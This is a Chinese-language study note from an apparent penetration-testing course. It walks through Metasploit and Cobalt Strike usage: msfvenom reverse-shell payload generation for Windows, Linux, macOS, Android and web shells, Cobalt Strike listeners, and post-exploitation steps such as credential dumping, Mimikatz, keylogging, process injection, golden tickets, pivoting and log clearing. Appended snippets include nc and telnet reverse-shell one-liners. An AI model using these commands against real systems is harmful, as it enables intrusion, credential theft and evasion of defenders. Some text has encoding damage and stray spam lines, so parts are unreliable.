<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Metasploit&Cobalt Strike 基礎

    VSole2021-10-27 08:10:52

    本文為內測第一周結束后內網學員的學習筆記,后續本公眾號會持續更新其他課程學員學習筆記。對課程感興趣,請添加文末小助手微信咨詢。??

    0x01 MSF安裝和升級

    最近mac本機和linux服務器上的msf在執行msfupdate命令以后都出現了不同程度的玄學問題,于是卸了重裝。

    1.1 安裝

    https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installerscurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \  chmod 755 msfinstall && \  ./msfinstall
    

    以非root用戶首次啟動msf來創建數據庫。

    如果是用root用戶首次啟動msf了那么就用 msfdb reinit命令來初始化數據庫。

    1.2 mac下msf的卸載:

    msfremove
    

    1.3 linux下msf的卸載:

    sudo rm -rf /opt/metasploit-frameworkrm ~/.msf4/logs/framework.log
    

    如果都用1.1里的方式安裝的就用以上這兩條命令卸載就行了。

    但是我發現我服務器上一開始是通過 apt-get install來裝msf的。所以需要加:

    sudo apt-get remove metasploit-framework
    

    這條命令來卸載msf。

    https://github.com/rapid7/metasploit-framework/issues/14652 前兩條命令
    

    1.4 msf更新

    msfupdate
    

    1.5 添加到路徑

    順帶一提,添加msfconsole和msfvenom這些bin到路徑的方法在mac上和在linux上都是

    export PATH="$PATH:/opt/metasploit-framework/bin"
    

    0x02 msf使用方法

    2.1 使用方法

    進入msf: msfconsolesearch命令查找模塊: search ms17-010use進入模塊: use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)模塊詳細信息查看: use了以后info,沒use 之前 info exploit/windows/smb/ms17_010_eternalblue設置攻擊載荷: set payload windows/x64/meterpreter/reverse_tcp查看模塊需要的參數:options設置參數: set lhost 0.0.0.0(參數名似乎不區分大小寫)攻擊:run / exploit 都可以meterpreter后滲透階段
    

    2.2 rc腳本執行多個msf命令

    msfconsole -r configure.rc
    

    0x03 msfvenom生成shellcode

    3.1 一般生成

    msfvenom-p 載荷 -f 輸出格式 -o 輸出文件msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe大部分時候也是需要一些配置 lhost lport這些:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
    

    3.2 編碼生成

    msfvenom   -a 系統架構  --platform 系統平臺  -p 有效載荷  lhost=攻擊機IP   lport=攻擊機端口  -e 編碼方式  -i 編碼次數  -f 輸出格式  -o 輸出文件msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe一般來說 -a可以不用,--platform也可以不用
    

    3.3 查看支持的系統架構

    msfvenom -l archs
    

    3.4 查看支持的系統平臺

    msfvenom -l platforms
    

    3.5 列出所有payload

    msfvenom -l payload
    

    3.6 列出所有的輸出格式

    msfvenom -l formats
    

    3.7 列出所有的加密方式

    msfvenom -l encrypt
    

    3.8 列出所有的編碼器

    msfvenom -l encoders
    

    0x04 常見生成格式

    主要是windows。

    4.1 windows

    msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe
    

    4.2 Linux

    msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf
    

    4.3 Mac

    msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
    

    4.4 Android

    msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
    

    4.5 Aspx

    msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
    

    4.6 Jsp

    msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
    

    4.7 PHP

    msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
    

    4.8 Bash

    msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
    

    0x05 CS安裝

    5.1 java版本切換

    mac切換java版本

    https://juejin.cn/post/6871959224314757134
    

    原先的bash_profile里面的腳本

    export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home CLASS_PATH="$JAVA_HOME/lib" PATH=".$PATH:$JAVA_HOME/bin"
    

    mac下我用的是zsh,所以把上面的腳本復制到.zshrc里面就行。

    ubuntu下的jdk我都安裝在/usr/local下,就不用update-alternatives切換了吧,自己用的時候自己換吧。

    在~/.bashrc 里面現在是/usr/local/jdk-11.0.1/bin
    

    5.2 CS啟動

    服務端cd  /home/ubuntu/CS4.3&&nohup sudo ./teamserver ip pass js.profile  &
    客戶端啟動(mac)cd /Users/hh/sectools/Cobalt_Strike_4.3&&java -Xdock:icon=cobaltstrike.icns -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -javaagent:hook.jar -jar cobaltstrike.jar客戶端啟動(win)java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar
    

    5.3 CS文件介紹

    agscript:擴展應?的腳本 c2lint:?于檢查profile的錯誤和異常 teamserver:服務器端啟動程序cobaltstrike.jar:CobaltStrike核?程序cobaltstrike.auth:?于客戶端和服務器端認證的?件,客戶端和服務端有?個?模?樣的 cobaltstrike.store:秘鑰證書存放?件客戶端基本只需cobaltstrike.jar,cobaltstrike.auth,cobaltstrike.store這幾個文件。
    

    5.4 目錄

    data:?于保存當前TeamServer的?些數據 download:?于存放在?標機器下載的數據 upload:上傳?件的?錄 logs:?志?件,包括Web?志、Beacon?志、截圖?志、下載?志、鍵盤記錄?志等 third-party:第三??具?錄
    

    PC上 ?

    5.5 CS 清除 日志

    logs文件打包備份以后刪除原文件夾。刪除 ~/.aggressor.prop 文件里的內容。CS監聽器和插件主要記錄監聽器的各種payload和選項加載插件時候的各種需要注意的問題
    

    5.6 CS監聽器創建

    監聽器-> listenersCobaltStrike的內置監聽器為Beacon,外置監聽器為Foreign。CobaltStrike的Beacon支持異步通信和交互式通信。創建監聽器的方式:Cobalt_Strike->Listeners->add
    

    listenername:為監聽器名字,可任意payload:payload類型,建議HTTPS流量加密HTTPHosts: shell反彈的主機,測試中也可以填CDN節點HTTP Hosts(Stager): Stager的?請求下載payload的地址,默認也是shell反彈的主機地址HTTP Port(C2): C2監聽的端? 可以任意指定Host Rotation Strategy先不管
    

    5.7 cs4.3 的payload選項

    內部的ListenerBeacon DNS Beacon HTTP Beacon HTTPS Beacon TCP Beacon SMB外部的ListenerForeign HTTP Foreign HTTPSExternalExternal C2Beacon為內置的Listener,即在?標主機執?相應的payload,獲取shell到CS上;其中包含DNS、HTTP、 HTTPS、SMB。
    

    Beacon可以選擇通過DNS還是HTTP協議出??絡,你可以在使?Beacon通訊過程中切換HTTP和DNS。(HTTP HOSTS的CDN節點)?持多主機連接,部署好Beacon后提交?個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。

    (域前置)防護團隊必須攔截所有的列表中的主機才可中斷和其?絡的通訊。通過種種?式獲取shell以后(?如直接運??成 的exe),就可以使?Beacon了。

    Foreign為外部結合的Listener,常?于MSF的結合,例如獲取meterpreter到MSF上。

    5.8 本地遠程加載插件

    本地加載Script Manager -> Load插件的使用就是有shell彈回來以后右鍵使用。
    

    5.9 服務端加載

    加載方法:CobaltStrike服務器端有個 agscript?件,他是?來在服務器端運?cna插件?件的。agscript用法在服務端執行如下命令(避免與teamserver運行的產生的nohup.out沖突)nohup ./agscript cs的ip cs的端口 任意用戶名 password  插件路徑 >> nohup1.out &
    agscript和c2lint文件的使用問題(重要):CS高版本要使用hook.jaragscript配置:java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar aggressor.headless.Start $*c2lint配置:#!/bin/bash## Check a Malleable C&C Profile#java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar c2profile.Lint $1
    

    5.9.1 c2lint用法:

    ./c2lint xxx.profile
    

    5.9.2 對被控主機的操作1

    視圖view:Applications    顯示受害者機器的應?信息;Credentials     顯示受害者機器的憑證信息,通過hashdump和mimikatz獲取的密碼都保存在這?;Downloads     查看從被控機器上下載的?件;Event Log     可以看到事件?志,清楚的看到系統的事件,并且團隊可以在這?聊天; Keystrokes     查看鍵盤記錄;Proxy Pivots    查看代理信息;Screenshots    查看屏幕截圖;Script Console   在這?可以加載各種腳本以增強功能,https://github.com/rsmudge/cortana-scripts,學習插件編寫Targets      查看?標;Web Log      查看web?志。
    

    5.9.3 對被控主機的操作總覽

    Interact 打開beaconAccess  dump hashes     獲取hash  Elevate         提權  Golden Ticket   生成黃金票據注入當前會話  MAke token      憑證轉換  Run Mimikatz    運行Mimikatz 抓取明文密碼  Spawn As        ?其他?戶?成Cobalt Strike的beacon  Explore  Browser Pivot 劫持?標瀏覽器進程(很少使用)  Desktop(VNC) 桌?交互  File Browser 文件瀏覽器  Net View     命令net view  Port scan    端口掃描  Process list 進程列表  Screenshot   截圖(system權限下截圖是失敗的,普通或者管理員都是可以的)  Pivoting  SOCKS Server 代理服務  Listener     反向端口轉發  Deploy VPN   部署VPN  Spawn          新的通訊模式并生成會話Session        會話管理,刪除,心跳時間,退出,備注
    

    5.9.4 抓取hash和明文密碼

    這兩項功能都需要管理員權限,如果權限不?,先提權

    抓取密碼哈希:Access->Dump Hashes
    

    利用mimikatz抓取明文密碼:Access->Run mimikatz
    

    credentials里面有復制功能 復制到剪貼板

    6.0 提權(Elevate)

    有殺軟的話提權插件可能不成功

    https://github.com/rsmudge/ElevateKit
    

    控主機簡歷Socks4代理Pivoting->Socks Server
    

    選擇端口

    做了域前置再做socks4代理的話要注意會暴露真實ip地址,要留意。

    進程列表(注入進程,鍵盤監控)Explore->process list
    

    建議注入PID大的進程

    選中該進程Kill為殺死該進程Refresh為刷新該進程Inject 則是把beacon注?進程Log Keystrokes為鍵盤記 錄Screenshot 為截圖Stea Token為竊取運?指定程序的?戶令牌
    

    6.1 Inject注入進程

    選擇進程,點擊Inject,隨后選擇監聽器,點擊choose,即可發現CobaltStrike彈回了?標機的?個新會話,這個 會話就是成功注?到某進程的beacon會話。該功能可以把你的beacon會話注?到另外?個程序之中,注?之后, 除?那個正常進程被殺死了,否則我們就?直可以控制該主機了。

    inject 進程PID 進程位數 監聽

    最好是權限穩定了再做。

    6.2 鍵盤記錄

    進程列表里任意選擇?個進程,點擊Log Keystrokes,即可監聽該主機的鍵盤記錄。

    keylogger 進程PID 進程位數
    

    或者直接輸入keylogger(應該是當前進程監聽鍵盤)

    點鑰匙按鈕

    6.3 CS操作續

    生成黃金票據注入當前會話(Golden Ticket)

    ?成??票據的前提是已經獲得了krbtgt?戶的哈希:xxx。并且已經獲 得?個以域?戶登錄的主機權限。

    6.4 端口掃描

    Explore->Port Scan
    

    一般sockets進程數s可以選200portscan 192.168.10.1-192.168.10.10 22,445 arp 1024    arp協議掃描portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024   icmp協議掃描portscan 192.168.10.1-192.168.10.10 22,445 none 1024   默認所有主機都是存活的
    一般直接運行portscan 192.168.1.0/24 22,445,1433,3306 20beacon里jobs查看后臺運行jobkill 殺掉進程
    

    6.5 哈希傳遞攻擊或者SSH遠程登錄

    有哈希解不出可以嘗試PTH攻擊

    6.6 MSF和CS聯動

    會話的派生場景:

    用MSF的payload打ms-17010MSF的shell彈到CS上CS、MSF互彈只有http和https可以接收到另一方回連的會話。http復制http,https復制https。實際攻擊中VPS上裝個msf
    

    6.7 CS復制會話到MSF

    1、CS創建外部監聽器 
    2、MSF開啟監聽 use exploit/multi/handler set payload windows/meterpreter/reverse_http (與cs對應)set lhost CS服務器地址 set lport CS外聯監聽器的端口 
    3、CS指定會話里運行spawn 外聯監聽器名
    

    foreign_https2.msf復制命令run
    

    6.8 MSF復制會話到CS

    1、將MSF獲得meterpreter會話放在后臺:backgroud 
    2、注入會話 use exploit/windows/local/payload_inject session 選擇要復制的session會話 set payload windows/meterpreter/reverse_http set lhost CS服務器地址 set lport CS外聯監聽器的端口(此處應為4142) 
    3、CS創建監聽器 (對應的beacon http或者https)
    4、MSF運行注入
    

    然后這個彈好的shell是互不影響的。

    要懂得cs拿到shell以后做的操作。

    msf拿到meterpreter以后做的操作。

    是后滲透的基礎。

    比如說CS的shell

    第一個操作是權限維持,同時快速翻文件收集信息。第二個操作是考慮打個代理,開始橫向移動,快速判斷機器是否有用,開始掃描。
    


    ??

    監聽器msfvenom
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言office宏攻擊是釣魚郵件場景中最常見的攻擊手段,其制作簡單,兼容性強,非常適合批量攻擊,但由于其需要用戶交互,隱蔽性差,攻擊能否成功基本取決于目標的安全意識強弱。
    信息搜集首先當然是通過fofa進行bc網站的后臺搜集,獲得的qi牌bc站幾乎都是一模一樣,估計是分站。由于都是分站,因此存在相同漏洞的應該不少。0x02 上線cs寫個腳本,批量上線cs。0x03 提權方式一cs中執行run systeminfo收集目標安裝的補丁,使用在線提權輔助工具查看能夠利用的漏洞。查找exp并利用即可。方式二要想利用msf輔助提權,必須要反彈shell到msf一方面可以利用cs在目標機上執行msf生成的木馬上線msf。
    因為 web 服務器同時連接了外網和內網,所以必須首先拿下。這里有關 web 服務器的滲透不展開講了,無非也就是利用漏洞,諸如:弱口令、上傳漏洞、遠程代碼執行、各種 cms 漏洞,總之都是可以找到寫入 webshell 的方法。成功寫入 webshell 后,接著就要上傳木馬控制 web 服務器,這里可以用 Metasploit或 Cobaltstrike。
    第 2 章 shell權限提升,簡稱提權。它用于執行各種網絡交互,包括在枚舉期間抓取 banner 等。但它們默認情況下很少安裝 Socat。模塊與 socat 和 netcat 一樣,提供了用于接收反彈 shell 的功能。雖然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但這不是本文的重點。一般情況下,反向 shell 更容易執行和調試。以下會給出反彈 shell 和 正向 shell 的示例,請注意它們間的區別。這里重要的是我們正在攻擊機上監聽,并收到了來自目標的連接。請注意,這并非特定于 Windows。
    本文記錄了一次針對具有二層內網的域環境進行滲透測試的過程,文中涉及了內網域滲透的基本方法、思路和技巧。交替使用了msf、CobaltStrike、frp、chisel、SharpSQLTools等工具,最后通過約束委派拿下了域控。其間運用了很多小工具,文章較長,下面開始此次滲透長途之旅。看到了weblogic的版本,查找下exp,順手先來一波smb信息收集。
    本文為內測第一周結束后內網學員的學習筆記,后續本公眾號會持續更新其他課程學員學習筆記。對課程感興趣,請添加文末小助手微信咨詢。0x01 MSF安裝和升級 最近mac本機和linux服務器上的msf在執行msfupdate命令以后都出現了不同程度的玄學問題,于是卸了重裝。
    0x00 介紹工具介紹RedGuard,是一款C2設施前置流量控制技術的衍生作品,有著更加輕量的設計、高效的流量交互、以及使用go語言開發具有的可靠兼容性。它所解決的核心問題也是在面對日益復雜的紅藍攻防演練行動中,給予攻擊隊更加優秀的C2基礎設施隱匿方案,賦予C2設施的交互流量以流量控制功能,攔截那些“惡意”的分析流量,更好的完成整個攻擊任務。RedGuard是一個C2設施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的檢查。
    0x00 介紹工具介紹RedGuard,是一款C2設施前置流量控制技術的衍生作品,有著更加輕量的設計、高效的流量交互、以及使用go語言開發具有的可靠兼容性。它所解決的核心問題也是在面對日益復雜的紅藍攻防演練行動中,給予攻擊隊更加優秀的C2基礎設施隱匿方案,賦予C2設施的交互流量以流量控制功能,攔截那些“惡意”的分析流量,更好的完成整個攻擊任務。RedGuard是一個C2設施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的檢查。
    是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。telnet反彈nc -lvvp 444 #攻擊者主機上執行監聽rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目標主機上執行。監聽兩個端口分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip反彈shell成功后,在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。 nc反彈nc -lvvp portnc -e /bin/bash x.x.x.x port
    RedGuard,是一款C2設施前置流量控制技術的衍生作品,有著更加輕量的設計、高效的流量交互、以及使用go語言開發具有的可靠兼容性。它所解決的核心問題也是在面對日益復雜的紅藍攻防演練行動中,給予攻擊隊更加優秀的C2基礎設施隱匿方案,賦予C2設施的交互流量以流量控制功能,攔截那些“惡意”的分析流量,更好的完成整個攻擊任務。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类